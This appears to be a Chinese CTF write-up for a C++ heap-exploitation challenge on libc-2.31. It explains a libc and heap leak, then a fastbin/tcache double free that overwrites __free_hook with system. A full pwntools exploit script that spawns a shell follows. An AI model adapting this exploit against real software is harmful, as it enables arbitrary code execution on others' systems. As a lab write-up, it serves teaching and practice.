然后我们需要设置成 *((_QWORD *)this + 5) 的指针不能是该堆块的前 0x0 或 0x8 offset,否则当 create 4+次的时候会触发 vector 的扩容,具体来说,会 free 掉原先存放指针的堆内存,malloc 新的堆内存然后把指针拷贝过去,如果设置该指针是前 0x0/0x8 offset 则会再旧的堆内存 free 的时候填充上 tcache fd/bk 从而无法 leak
还有一个问题就是,每次 cmdAdd 对于大堆块的申请都涉及以下操作:
MsgHandler::handleCMD 里面调用 parseTLVCfgCMD 会 malloc 一次, cmdAdd 里面 malloc 两次,后一次申请的堆块会被 vector 保存,后delete 前一次申请的堆块, handleCMD 调用完 subhandler 之后再 free 掉 parseTLVCfgCMD 申请的大堆块
所以在我们申请的 0x460 堆块之前,会有一个 0x800+ 大小的 unsorted bin 块,如果不把它消耗掉的话会在 delete 我们想要的大堆块的时候和该堆块合并,从而不会在 fd/bk 写到 libc 地址
所以我们申请完 0x460 的堆块之后还要额外申请两次 0x100+ 左右的堆块,消耗掉该 unsorted bin 的大堆块才行

double free

嗯 这步其实非常 dirty… 也是打了好久qaq
首先是我们想要去操纵的堆块,我们去先 free 一次它,把他放到 fastbin 的中间(只有这样 double free 才可以不被检测出来),然后再在 update 的时候塞到 tcache 的第一个,这样可以直接 malloc 出来,然后相当于是改 fastbin 的 fd,具体技术见 how2heap,这步可以 mark 一下,当时是看的别的师傅的 writeup,看 how2heap 上 malloc consolidate 感觉这里堆块分配比较乱,可能不太好整

然后还要控制放 Config 结构的 0x20 大小堆块经历下列的过程:

为什么要这样做:我们 Update 的时候,该 0x20 大小堆块 的 bk 需要保证为0或者是被 malloc 的合理指针,且不能是 heap_base + 0x10
(如果是这样的话,它 tcache bin 里面的 chunk 数识别不对,从而我们想要操纵的堆块被 malloc 出来之后会被 free 到 fastbin 而非 tcache bin)
且我们注意到了 libc-2.31 malloc 会 clear bk,如下是 libc-2.31.so malloc 函数对应 tcache 中取出堆块分配的截图
alt_text 这个可以稍微 mark 一下!也是看了别的 writeup 才发现的hhh

然后我们从 fastbin 里面申请出来 free_hook 周围的堆块,写 free_hook 为 system,然后随便在哪个堆块上写个 “/bin/sh\x00” 就行了

exp

写的有点丑陋hhh 而且可能会有多余的操作 抱歉了qaq

from pwn import*
context(arch='amd64', os='linux', log_level='debug')
p = process("./main")
libc = ELF("./libc-2.31.so")
# cmdAdd 会有 std::vector<Config *>::push_back((char *)this + 56, &v4);
# assemble the structures first
def assemble(cmd,content1,content2,is_save):
    len1 = len(content1)
    len2 = len(content2)
    return p32(cmd) + p32(len1) + content1 + p32(len2) + content2 + p8(is_save)
def assemble_all(handle_ty,key,num,configs):
    return p32(handle_ty) + p32(key) + p32(num) + configs

# 16 24 48 80 88 (case 0,1,2,3,4) 分别对应 cmdGet cmdAdd cmdUpdate cmdDel cmdVisit
# find_if 比较的是 content1 strcmp config 的 content 是否相等
def cmdAdd(content1,content2,is_save):
    return assemble(1,content1,content2,is_save)
def cmdGet(content1,content2,is_save):
    return assemble(0,content1,content2,is_save)
def cmdUpdate(content1,content2,is_save):
    return assemble(2,content1,content2,is_save)
def cmdDel(content1,content2,is_save):
    return assemble(3,content1,content2,is_save)
def cmdVisit(content1,content2,is_save):
    return assemble(4,content1,content2,is_save)

def assemble_0x50(b,address):
    return (b*0x8 + p64(address)).ljust(0x50)
# leak but how? think about it 可不可以让 free 的堆块和 unsorted bin 合并?懂了为啥被冲了 不应该放到第二个开始 add 的堆块
# cmdAdd 一次 malloc 0x18 looper_start malloc 0x30
# malloc 大 size 的地方:每次 parseTLVCfgCMD 的时候都会,MsgHandler::handleCMD 里面调用 parseTLVCfgCMD 再 malloc 一次 cmdAdd 里面 malloc 两次 delete 一次 handleCMD 调用完 subhandler 之后再 free 掉大堆块

payload = cmdAdd(b"a"*0x50,b"b"*0x50,0) + cmdAdd(b"e"*0x50,b"f"*0x50,0) + cmdAdd(b"c"*0x50,b"d"*0x450,1) + cmdAdd(b"r"*0x50,b"d"*0x180,0) + cmdAdd(b"f"*0x50,b"d"*0x1b0,0)
payload += cmdDel(b"c"*0x50,b"d"*0x50,0)
payload += cmdVisit(b"c"*0x50,b"b"*0x180,0)
payload1 = assemble_all(1,65,7,payload)
# 0x7fb5804fb000 0x7fb5806e7be0
p.recvuntil("Enter command: ")
p.sendline(payload1)
# leak libc
p.recvuntil("Content: ")
libc_leak = u64(p.recv(6).ljust(8,b"\x00"))
print(hex(libc_leak))
libc_base = libc_leak - 0x1ecbe0
print(hex(libc_base))
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]

# heap leak
p.recvuntil("Enter command: ")
payload2 = cmdAdd(b"m"*0x50,b"b"*0x50,0) + cmdAdd(b"n"*0x50,b"f"*0x50,0) + cmdAdd(b"o"*0x50,b"d"*0x50,1) + cmdAdd(b"p"*0x50,b"d"*0x50,0) + cmdAdd(b"q"*0x50,b"d"*0x50,0) + cmdAdd(b"a",b"d",0) + cmdAdd(b"b",b"d",0) + cmdAdd(b"c",b"d",0)
payload2 += cmdDel(b"o"*0x50,b"d"*0x50,0)
payload2 += cmdVisit(b"o"*0x50,b"b"*0x80,0)
payload1 = assemble_all(1,65,10,payload2)
p.sendline(payload1)
p.recvuntil("Content: ")
heap_leak = u64(p.recv(6).ljust(8,b"\x00"))
print(hex(heap_leak))
# have do to double free
# gdb.attach(p,'''
#     b *$rebase(0x3a4c)
#     b *$rebase(0x3ce9)
#     b *$rebase(0x35cf)
# ''')
# pause()
p.recvuntil("Enter command: ")
payload3 = cmdAdd(b"z"*0x50,b"b"*0x20,0) + cmdAdd(b"x"*0x50,b"f"*0x20,0) + cmdAdd(b"y"*0x50,b"d"*0x50,1) + cmdAdd(b"v"*0x20,b"d"*0x50,0) + cmdAdd(b"w",b"d"*0x50,0)
payload3 += cmdDel(b"m"*0x50,b"d"*0x20,0)+cmdDel(b"o"*0x50,b"d"*0x20,0)+cmdDel(b"p"*0x50,b"d"*0x20,0)+cmdDel(b"q"*0x50,b"d"*0x20,0)+cmdDel(b"w",b"f"*0x20,0)+cmdDel(b"a",b"d",0) + cmdDel(b"y"*0x50,b"d"*0x50,0)
# update have double free 要把第一个 delete 的 chunk 先扔到 tcache 里面,那我的 name 域不能是 heap_base + 0x10 所以要把含有信息的 0x20 堆块也扔 fastbin
# 每一轮 parseTLVCfgCMD 都会一开始 malloc 0x30 然后 malloc name 和 content, cmdAdd 里面 operator new(0x18uLL) 在本轮处理结束后再 free name 和 content
# Delete Config 的时候也是先 free name 和 content 然后再 free Config
# 在 operator new 的时候会先 malloc 2,**从 tcache 取出的堆块的 bk 会被清零** 然后再最后塞到 fastbin 里面
payload_0x50 = (b"s"*0x8+p64(system)).ljust(0x50)
payload3 += cmdUpdate(p64(free_hook-0x18).ljust(0x50),p64(free_hook-0x18).ljust(0x50),0) + cmdAdd(assemble_0x50(b"a",system),payload_0x50,0) + cmdAdd(b"/bin/sh\x00".ljust(0x50),payload_0x50,0) + cmdAdd(assemble_0x50(b"c",system),payload_0x50,0) + cmdAdd(assemble_0x50(b"d",system),payload_0x50,0)
p.sendline(assemble_all(1,65,17,payload3))

p.interactive()

总结

如果遇到像这种结构体较为复杂的题,可以把所有 malloc 和 free 的地方都列一遍,这样思路会清晰很多!

reference